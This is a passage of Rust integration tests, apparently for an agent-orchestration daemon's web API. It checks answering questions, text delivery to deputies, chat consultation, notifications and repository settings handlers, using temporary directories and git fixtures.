12101 "an existing driver keeps its claim"
12102 );
12103 drop(claim);
12104 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12105 let resumed = fx.queue().get(&task.id).unwrap();
12106 assert_eq!(
12107 resumed
12108 .resume_override
12109 .as_ref()
12110 .unwrap()
12111 .pinned_run
12112 .as_deref(),
12113 Some(state.id.as_str())
12114 );
12115 assert!(resumed.status.runnable());
12116 assert_eq!(resumed.instruction, task.instruction);
12117 assert_eq!(resumed.runs, task.runs);
12118 assert!(resumed.action_applied(&q.id));
12119 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12120 assert_eq!(fx.queue().list().len(), 1);
12121 assert_eq!(
12122 fx.queue().get(&task.id).unwrap().resume_override,
12123 resumed.resume_override
12124 );
12125 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12126 assert!(
12127 disk.merge_repairs.is_empty(),
12128 "only the claimed run driver may execute repair"
12129 );
12130 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12131 }
12132
12133 #[tokio::test]
12134 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12135 let fx = Fixture::start().await;
12136 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12137 let path = format!("/api/questions/{id}/answer");
12138
12139 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12140 assert_eq!(res.status, 200, "{}", res.body);
12141 let body = res.json();
12142 assert_eq!(body["status"], "answered");
12143 assert_eq!(body["answer"]["choice"], "Redis");
12144
12145 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12149 assert_eq!(again.status, 409, "{}", again.body);
12150 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12151 }
12152
12153 #[tokio::test]
12154 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12155 let home = tempfile::tempdir().unwrap();
12156 let ui = delta_test_ui(home.path());
12157 let mut q = Question::new(
12158 "task".into(),
12159 crate::land::APPROVAL_NODE.into(),
12160 "land".into(),
12161 "Explain?".into(),
12162 String::new(),
12163 vec!["hold".into()],
12164 );
12165 q.deputy = Some(ask::Deputy::new("context".into()));
12166 ui.questions.put(&mut q).unwrap();
12167 let mut cfg = stub_config();
12168 cfg.daemon.max_deputies = 0;
12169 let mut status = crate::daemon::Status::new();
12170 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12171 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12172 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12173 let error = question_say(
12174 State(ui.clone()),
12175 Path(q.id.clone()),
12176 Ok(Json(NewSay {
12177 body: "Explain the findings".into(),
12178 })),
12179 )
12180 .await
12181 .unwrap_err();
12182 assert_eq!(
12183 error.text_reason,
12184 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12185 );
12186 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12187
12188 let mut text = Question::new(
12189 "task".into(),
12190 "ask".into(),
12191 "operator".into(),
12192 "Which name?".into(),
12193 String::new(),
12194 vec![],
12195 );
12196 ui.questions.put(&mut text).unwrap();
12197 let Json(view) = question_answer(
12198 State(ui.clone()),
12199 Path(text.id.clone()),
12200 Ok(Json(NewAnswer {
12201 choice: None,
12202 text: Some("chosen name".into()),
12203 ..Default::default()
12204 })),
12205 )
12206 .await
12207 .unwrap();
12208 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12209 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12210 }
12211
12212 #[tokio::test]
12213 async fn question_text_handler_admission_without_transport() {
12214 let home = tempfile::tempdir().unwrap();
12215 let ui = delta_test_ui(home.path());
12216 let mut q = Question::new(
12217 "task".into(),
12218 crate::land::APPROVAL_NODE.into(),
12219 "land".into(),
12220 "May this PR merge?".into(),
12221 String::new(),
12222 vec!["hold".into()],
12223 );
12224 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12225 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12226 ui.questions.put(&mut q).unwrap();
12227 let say = || {
12228 Ok(Json(NewSay {
12229 body: "Explain the findings".into(),
12230 }))
12231 };
12232 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12233 .await
12234 .unwrap_err();
12235 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12236 let response = rejected.into_response();
12237 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12238 .await
12239 .unwrap();
12240 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12241 assert_eq!(body["code"], "question_text_unavailable");
12242 assert_eq!(body["reason"], "deputy_exhausted");
12243 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12244 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12245 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12246 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12247 .await
12248 .unwrap();
12249 assert_eq!(view.text_delivery.state, "live");
12250 assert!(view.question.waiter.is_none());
12251 assert!(view.question.cwd.is_none());
12252 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12253 ui.questions.drop_lease(&q.id);
12254 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12255 .await
12256 .unwrap_err();
12257 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12258 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12259 let _ = question_answer(
12260 State(ui.clone()),
12261 Path(q.id.clone()),
12262 Ok(Json(NewAnswer {
12263 choice: Some("hold".into()),
12264 text: None,
12265 ..Default::default()
12266 })),
12267 )
12268 .await
12269 .unwrap();
12270 assert_eq!(
12271 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12272 Some("hold")
12273 );
12274 }
12275
12276 #[tokio::test]
12277 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12278 let fx = Fixture::start().await;
12279 let store = fx.questions();
12280 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12281 store
12282 .update(&id, |q| {
12283 q.node = crate::land::APPROVAL_NODE.to_owned();
12284 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12285 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12286 Ok(())
12287 })
12288 .unwrap();
12289 let path = format!("/api/questions/{id}/say");
12290 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12291 assert_eq!(refused.status, 422, "{}", refused.body);
12292 assert!(
12293 refused.json()["error"]
12294 .as_str()
12295 .unwrap()
12296 .contains("deputy_exhausted")
12297 );
12298 assert!(store.get(&id).unwrap().thread.is_empty());
12299
12300 store.beat(&id, ask::WaiterKind::Deputy);
12302 let view = fx.get("/api/questions").await.json();
12303 assert_eq!(view[0]["text_delivery"]["state"], "live");
12304 let accepted = fx
12305 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12306 .await;
12307 assert_eq!(accepted.status, 200, "{}", accepted.body);
12308 let before = std::fs::read(store.path_of(&id)).unwrap();
12309
12310 store.drop_lease(&id);
12313 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12314 assert_eq!(refused.status, 422, "{}", refused.body);
12315 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12316 let held = fx
12317 .post(
12318 &format!("/api/questions/{id}/answer"),
12319 Some(r#"{"choice":"hold"}"#),
12320 )
12321 .await;
12322 assert_eq!(held.status, 200, "{}", held.body);
12323 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12324 }
12325
12326 #[tokio::test]
12327 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12328 let repo = tempfile::tempdir().unwrap();
12329 let mut cfg = stub_config();
12330 cfg.daemon.max_deputies = 0;
12331 std::fs::write(
12332 repo.path().join("magi.toml"),
12333 toml::to_string(&cfg).unwrap(),
12334 )
12335 .unwrap();
12336 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12337 let mut status = crate::daemon::Status::new();
12338 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12339 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12340 let id = ask(&fx, "Explain?", &["hold"]);
12341 fx.questions()
12342 .update(&id, |q| {
12343 q.node = crate::land::APPROVAL_NODE.into();
12344 q.deputy = Some(ask::Deputy::new("context".into()));
12345 q.deputy.as_mut().unwrap().agent = "stub".into();
12346 Ok(())
12347 })
12348 .unwrap();
12349 cfg.daemon.max_deputies = 1;
12350 std::fs::write(
12351 repo.path().join("magi.toml"),
12352 toml::to_string(&cfg).unwrap(),
12353 )
12354 .unwrap();
12355 let view = fx.get("/api/questions").await.json();
12356 assert_eq!(view[0]["deputies_enabled"], true);
12357 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12358 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12359 let res = fx
12360 .post(
12361 &format!("/api/questions/{id}/say"),
12362 Some(r#"{"body":"Please explain"}"#),
12363 )
12364 .await;
12365 assert_eq!(res.status, 422, "{}", res.body);
12366 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12367 }
12368
12369 #[tokio::test]
12370 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12371 let fx = Fixture::start().await;
12372 let id = ask(&fx, "No seat", &[]);
12373 let store = fx.questions();
12374 let before = std::fs::read(store.path_of(&id)).unwrap();
12375 let res = fx
12376 .post(
12377 &format!("/api/questions/{id}/say"),
12378 Some(r#"{"body":"hello"}"#),
12379 )
12380 .await;
12381 assert_eq!(res.status, 422, "{}", res.body);
12382 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12383 let res = fx
12384 .post(
12385 &format!("/api/questions/{id}/answer"),
12386 Some(r#"{"text":"hello"}"#),
12387 )
12388 .await;
12389 assert_eq!(res.status, 200, "{}", res.body);
12390 assert_eq!(
12391 store.get(&id).unwrap().resolution().as_deref(),
12392 Some("hello")
12393 );
12394 }
12395
12396 #[tokio::test]
12397 async fn saying_something_appends_a_turn_without_answering() {
12398 let fx = Fixture::start().await;
12399 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12400 fx.questions().beat(&id, ask::WaiterKind::Asker);
12401 let path = format!("/api/questions/{id}/say");
12402
12403 let res = fx
12404 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12405 .await;
12406 assert_eq!(res.status, 200, "{}", res.body);
12407 let body = res.json();
12408 assert_eq!(body["status"], "open", "talking back is not a decision");
12409 assert_eq!(body["answer"], Value::Null);
12410 assert_eq!(body["thread"][0]["who"], "operator");
12411 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12412 assert_eq!(body["waiting_on_agent"], true);
12413 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12415 }
12416
12417 #[tokio::test]
12418 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12419 let fx = Fixture::start().await;
12420 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12421
12422 let list = fx.get("/api/questions").await.json();
12423 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12424
12425 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12426 assert_eq!(res.status, 409, "{}", res.body);
12427 let q = fx.questions().get(&id).unwrap();
12428 assert!(q.status.open());
12429 assert!(q.consult.is_none());
12430 }
12431
12432 #[tokio::test]
12433 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12434 let fx = Fixture::start().await;
12435 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12436 let cfg = Config {
12437 agents: vec![crate::config::AgentSpec {
12438 id: "mock".to_owned(),
12439 kind: crate::config::AgentKind::Command,
12440 model: None,
12441 command: vec!["true".to_owned()],
12442 extra_args: Vec::new(),
12443 env: Default::default(),
12444 prompt_delivery: None,
12445 max_turn_secs: None,
12446 }],
12447 ..Config::default()
12448 };
12449 let talk = crate::talk::begin(
12450 &fx.talks(),
12451 &cfg,
12452 fx.home.path().to_path_buf(),
12453 Some("mock"),
12454 )
12455 .unwrap();
12456 let mut task = Task::new(
12457 "t".to_owned(),
12458 "Do it".to_owned(),
12459 PathBuf::from("/repo/magi"),
12460 Source::Agent {
12461 run: talk.id.clone(),
12462 node: crate::queue::CHAT_NODE.to_owned(),
12463 },
12464 );
12465 task.start("20260902-000000-beef".to_owned());
12466 fx.queue().put(&mut task).unwrap();
12467
12468 let list = fx.get("/api/questions").await.json();
12469 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12470 assert_eq!(
12471 list[0]["choices"],
12472 serde_json::json!(["SQLite", "Redis"]),
12473 "the hand-over is never a choice"
12474 );
12475 fx.questions()
12476 .update(&id, |q| {
12477 q.node = crate::land::APPROVAL_NODE.into();
12478 q.choices = vec!["merge".into(), "hold".into()];
12479 Ok(())
12480 })
12481 .unwrap();
12482 let list = fx.get("/api/questions").await.json();
12483 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12484 assert_eq!(list[0]["can_consult_chat"], true);
12485 fx.questions()
12486 .update(&id, |q| {
12487 q.node = crate::bump::NOTICE_NODE.into();
12488 Ok(())
12489 })
12490 .unwrap();
12491 let list = fx.get("/api/questions").await.json();
12492 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12493 assert_eq!(list[0]["can_consult_chat"], false);
12494 }
12495
12496 #[tokio::test]
12497 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12498 let fx = Fixture::start().await;
12499 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12500 fx.questions()
12501 .update(&id, |q| {
12502 q.node = crate::land::APPROVAL_NODE.into();
12503 q.choices = vec!["merge".into(), "hold".into()];
12504 Ok(())
12505 })
12506 .unwrap();
12507 let cfg = Config {
12508 agents: vec![crate::config::AgentSpec {
12509 id: "mock".to_owned(),
12510 kind: crate::config::AgentKind::Command,
12511 model: None,
12512 command: vec!["true".to_owned()],
12513 extra_args: Vec::new(),
12514 env: Default::default(),
12515 prompt_delivery: None,
12516 max_turn_secs: None,
12517 }],
12518 ..Config::default()
12519 };
12520 let repo = fx.home.path().join("chat-repo");
12522 std::fs::create_dir_all(&repo).unwrap();
12523 let toml = repo.join("magi.toml");
12524 std::fs::write(&toml, "this is = = not toml").unwrap();
12525 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12526 let mut task = Task::new(
12527 "t".to_owned(),
12528 "Do it".to_owned(),
12529 PathBuf::from("/repo/magi"),
12530 Source::Agent {
12531 run: talk.id.clone(),
12532 node: crate::queue::CHAT_NODE.to_owned(),
12533 },
12534 );
12535 task.start("20260902-000000-beef".to_owned());
12536 fx.queue().put(&mut task).unwrap();
12537
12538 let path = format!("/api/questions/{id}/consult");
12539 let res = fx.post(&path, None).await;
12540 assert!(res.status >= 400, "{}", res.body);
12541 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12542 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12543
12544 std::fs::write(&toml, "").unwrap();
12545 let res = fx.post(&path, None).await;
12546 assert_eq!(res.status, 202, "{}", res.body);
12547 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12548 let q = fx.questions().get(&id).unwrap();
12549 assert!(q.status.open());
12550 assert!(q.answer.is_none());
12551 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12552 assert_eq!(res.json()["can_consult_chat"], true);
12553 let list = fx.get("/api/questions").await.json();
12554 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12555 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12556
12557 let res = fx
12558 .post(
12559 &format!("/api/questions/{id}/answer"),
12560 Some(r#"{"choice":"hold"}"#),
12561 )
12562 .await;
12563 assert_eq!(res.status, 200, "{}", res.body);
12564 assert_eq!(res.json()["answer"]["choice"], "hold");
12565 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12566 assert_eq!(res.json()["can_consult_chat"], false);
12567 assert_eq!(fx.post(&path, None).await.status, 409);
12568
12569 let mut talk = fx.talks().get(&talk.id).unwrap();
12570 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12571 let list = fx.get("/api/questions").await.json();
12572 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12573 assert_eq!(list[0]["origin_chat_closed"], true);
12574 assert_eq!(list[0]["can_consult_chat"], false);
12575
12576 fx.talks().remove(&talk.id).unwrap();
12577 let list = fx.get("/api/questions").await.json();
12578 assert_eq!(list[0]["origin_chat"], Value::Null);
12579 assert_eq!(list[0]["origin_chat_closed"], false);
12580 assert_eq!(list[0]["can_consult_chat"], false);
12581 }
12582
12583 #[tokio::test]
12584 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12585 let fx = Fixture::start().await;
12586 let store = fx.questions();
12587 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12588 store.beat(&id, ask::WaiterKind::Asker);
12589 assert_eq!(
12590 fx.get("/api/health").await.json()["questions_needs_owner"],
12591 1
12592 );
12593
12594 let res = fx
12600 .post(
12601 &format!("/api/questions/{id}/say"),
12602 Some(r#"{"body":"why not Postgres?"}"#),
12603 )
12604 .await;
12605 assert_eq!(res.status, 200, "{}", res.body);
12606 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12607 assert_eq!(
12608 fx.get("/api/health").await.json()["questions_needs_owner"],
12609 0,
12610 "waiting on the agent is not waiting on the owner"
12611 );
12612
12613 let mut q = store.get(&id).expect("get");
12617 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12618 .expect("reply");
12619 store.put(&mut q).expect("put");
12620 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12621 assert_eq!(
12622 fx.get("/api/health").await.json()["questions_needs_owner"],
12623 1,
12624 "the agent's reply is what should light the banner back up"
12625 );
12626 }
12627
12628 #[tokio::test]
12629 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12630 let fx = Fixture::start().await;
12631 let store = fx.questions();
12632
12633 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12634 let res = fx
12635 .post(
12636 &format!("/api/questions/{empty_id}/say"),
12637 Some(r#"{"body":" "}"#),
12638 )
12639 .await;
12640 assert_eq!(res.status, 400, "{}", res.body);
12641
12642 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12643 let mut answered = store.get(&answered_id).expect("get");
12644 answered
12645 .answer(Answer::Choice("SQLite".to_owned()))
12646 .expect("answer");
12647 store.put(&mut answered).expect("put");
12648 let res = fx
12649 .post(
12650 &format!("/api/questions/{answered_id}/say"),
12651 Some(r#"{"body":"still there?"}"#),
12652 )
12653 .await;
12654 assert_eq!(res.status, 409, "{}", res.body);
12655
12656 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12657 let mut abandoned = store.get(&abandoned_id).expect("get");
12658 abandoned.abandon("timed out");
12659 store.put(&mut abandoned).expect("put");
12660 let res = fx
12661 .post(
12662 &format!("/api/questions/{abandoned_id}/say"),
12663 Some(r#"{"body":"still there?"}"#),
12664 )
12665 .await;
12666 assert_eq!(res.status, 409, "{}", res.body);
12667 }
12668
12669 #[tokio::test]
12670 async fn an_answer_the_question_does_not_offer_is_refused() {
12671 let fx = Fixture::start().await;
12672 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12673 let path = format!("/api/questions/{id}/answer");
12674
12675 for body in [
12676 r#"{"choice":"Postgres"}"#,
12677 r#"{"text":"whatever you think"}"#,
12678 r#"{"choice":"Redis","text":"both"}"#,
12679 r#"{}"#,
12680 ] {
12681 let res = fx.post(&path, Some(body)).await;
12682 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12683 assert!(res.json()["error"].is_string(), "{}", res.body);
12684 }
12685 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12687 }
12688
12689 #[tokio::test]
12690 async fn a_free_text_question_takes_text_and_not_a_choice() {
12691 let fx = Fixture::start().await;
12692 let id = ask(&fx, "What should the flag be called?", &[]);
12693 fx.questions().beat(&id, ask::WaiterKind::Asker);
12694 let path = format!("/api/questions/{id}/answer");
12695
12696 assert_eq!(
12697 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12698 400
12699 );
12700 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12701 assert_eq!(res.status, 200, "{}", res.body);
12702 assert_eq!(res.json()["answer"]["text"], "--json");
12703 }
12704
12705 #[tokio::test]
12706 async fn an_unknown_question_is_a_json_404() {
12707 let fx = Fixture::start().await;
12708 let res = fx
12709 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12710 .await;
12711 assert_eq!(res.status, 404, "{}", res.body);
12712 assert!(res.json()["error"].is_string());
12713 }
12714
12715 #[tokio::test]
12716 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12717 let fx = Fixture::start().await;
12718 let questions = Questions::at(fx.home.path().join("questions"));
12719 let store = Notices::at(fx.home.path().join("notifications"));
12720 let mut q = ask::Question::new(
12721 "t1".into(),
12722 "conduct".into(),
12723 "conductor".into(),
12724 "Continue?".into(),
12725 String::new(),
12726 Vec::new(),
12727 );
12728 questions.put(&mut q).unwrap();
12729 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12730 n.covered_by = Some(q.id.clone());
12731 let n = store.raise(n).unwrap();
12732 let listed = fx.get("/api/notifications").await.json();
12733 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12734 questions
12735 .update(&q.id, |q| {
12736 q.abandon("run gone");
12737 Ok(())
12738 })
12739 .unwrap();
12740 let listed = fx.get("/api/notifications").await.json();
12741 assert!(listed["items"][0]["answerable_question"].is_null());
12742 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12743 assert!(
12744 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12745 .unwrap()
12746 .contains("answerable_question")
12747 );
12748 }
12749
12750 #[tokio::test]
12751 async fn notifications_list_read_dismiss_and_health_agree() {
12752 let fx = Fixture::start().await;
12753 let store = Notices::at(fx.home.path().join("notifications"));
12754 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12755 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12756
12757 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12758 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12759
12760 store
12761 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12762 .unwrap();
12763 let health = fx.get("/api/health").await.json();
12764 assert_eq!(health["notifications_unread"], 2);
12765 assert_ne!(
12766 health["notifications_rev"], rev0,
12767 "the badge must move live"
12768 );
12769
12770 let listed = fx.get("/api/notifications").await.json();
12771 assert_eq!(listed["unread"], 2);
12772 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12773 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12774
12775 let read = fx
12776 .post(&format!("/api/notifications/{}/read", a.id), None)
12777 .await;
12778 assert_eq!(read.status, 200, "{}", read.body);
12779 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12780
12781 let gone = fx
12782 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12783 .await;
12784 assert_eq!(gone.status, 200, "{}", gone.body);
12785 let listed = fx.get("/api/notifications").await.json();
12786 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12787 assert_eq!(listed["unread"], 0);
12788
12789 store.raise(Notice::info("x", "again")).unwrap();
12790 let all = fx.post("/api/notifications/read-all", None).await;
12791 assert_eq!(all.status, 200, "{}", all.body);
12792 assert_eq!(all.json()["marked"], 1);
12793 assert_eq!(
12794 fx.get("/api/health").await.json()["notifications_unread"],
12795 0
12796 );
12797
12798 let missing = fx.post("/api/notifications/nope/read", None).await;
12799 assert_eq!(missing.status, 404, "{}", missing.body);
12800 assert!(missing.json()["error"].is_string());
12801 }
12802
12803 #[tokio::test]
12810 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12811 let f = Fixture::start().await;
12812
12813 let res = f
12814 .post(
12815 "/api/queue",
12816 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12817 )
12818 .await;
12819
12820 assert_eq!(
12821 res.status, 405,
12822 "POST /api/queue must not be a route: {}",
12823 res.body
12824 );
12825 assert!(
12826 f.queue().list().is_empty(),
12827 "a task filed by a route that does not exist must not reach the disk"
12828 );
12829 assert_eq!(f.get("/api/queue").await.status, 200);
12832 }
12833
12834 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12836 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12837 .expect("checkout dir");
12838 }
12839
12840 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12842
12843 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12844 let tmp = TempDir::new().expect("tempdir");
12845 let repo = tmp.path().join("repo");
12846 std::fs::create_dir_all(&repo).expect("repo dir");
12847 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12848 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12849 if let Some(text) = machine_toml {
12850 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12851 std::fs::write(&machine, text).expect("machine toml");
12852 }
12853 (tmp, repo, machine)
12854 }
12855
12856 async fn settings_checkout(path: &FsPath, text: &str) {
12857 std::fs::create_dir_all(path).unwrap();
12858 std::fs::write(path.join("magi.toml"), text).unwrap();
12859 for args in [
12860 vec!["init", "-b", "main"],
12861 vec!["add", "magi.toml"],
12862 vec![
12863 "-c",
12864 "user.name=Test",
12865 "-c",
12866 "user.email=test@example.invalid",
12867 "commit",
12868 "-m",
12869 "fixture",
12870 ],
12871 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12872 vec![
12873 "symbolic-ref",
12874 "refs/remotes/origin/HEAD",
12875 "refs/remotes/origin/main",
12876 ],
12877 ] {
12878 crate::git::git(path, &args).await.unwrap();
12879 }
12880 }
12881
12882 #[tokio::test]
12883 async fn settings_context_handlers_validate_and_save_without_a_socket() {
12884 let (tmp, repo, machine) =
12885 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12886 let root = tmp.path().join("roots");
12887 let selected = root.join("host/owner/selected");
12888 settings_checkout(
12889 &selected,
12890 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12891 )
12892 .await;
12893 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12894 let before = std::fs::read(&machine).unwrap();
12895 let ui = Arc::new(
12896 Ui::new(
12897 Queue::at(tmp.path().join("queue")),
12898 Questions::at(tmp.path().join("questions")),
12899 Talks::at(tmp.path().join("talks")),
12900 tmp.path().join("runs"),
12901 tmp.path().to_path_buf(),
12902 repo.clone(),
12903 )
12904 .with_machine_config(Some(machine.clone())),
12905 );
12906 let query = || {
12907 Query(SettingsQuery {
12908 repo: Some(selected.clone()),
12909 })
12910 };
12911 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12912 assert!(v.error.is_none(), "{:?}", v.error);
12913 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12914 assert_eq!(conductor.source, "repo");
12915 assert_eq!(
12916 conductor.machine_value,
12917 Some(toml::Value::String("a".into()))
12918 );
12919 assert!(!conductor.editable);
12920 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12921 assert_eq!(
12922 judges.count.as_ref().unwrap().machine_value,
12923 Some(toml::Value::Integer(1))
12924 );
12925 assert!(
12926 !v.roles
12927 .iter()
12928 .find(|r| r.key == "reviewers")
12929 .unwrap()
12930 .editable
12931 );
12932 let unknown = || {
12933 Query(SettingsQuery {
12934 repo: Some(tmp.path().to_path_buf()),
12935 })
12936 };
12937 assert_eq!(
12938 settings_get(State(ui.clone()), unknown())
12939 .await
12940 .unwrap_err()
12941 .status,
12942 StatusCode::UNPROCESSABLE_ENTITY
12943 );
12944 let body = || {
12945 Ok(Json(RolesBody {
12946 revision: v.revision.clone(),
12947 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12948 counts: Default::default(),
12949 }))
12950 };
12951 assert_eq!(
12952 settings_put_roles(State(ui.clone()), unknown(), body())
12953 .await
12954 .unwrap_err()
12955 .status,
12956 StatusCode::UNPROCESSABLE_ENTITY
12957 );
12958 assert_eq!(std::fs::read(&machine).unwrap(), before);
12959 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12960 .await
12961 .unwrap();
12962 assert_eq!(
12963 saved.repo,
12964 selected.canonicalize().unwrap().display().to_string()
12965 );
12966 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12967 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12968 let fresh = root.join("host/owner/fresh");
12970 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12971 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12972 .await
12973 .unwrap();
12974 assert_eq!(fresh_view.repositories.len(), 3);
12975 }
12976
12977 #[tokio::test]
12978 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12979 let (tmp, repo, machine) = settings_dirs(
12980 "[roles]\nreviewers = [\"a\"]\n",
12981 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12982 );
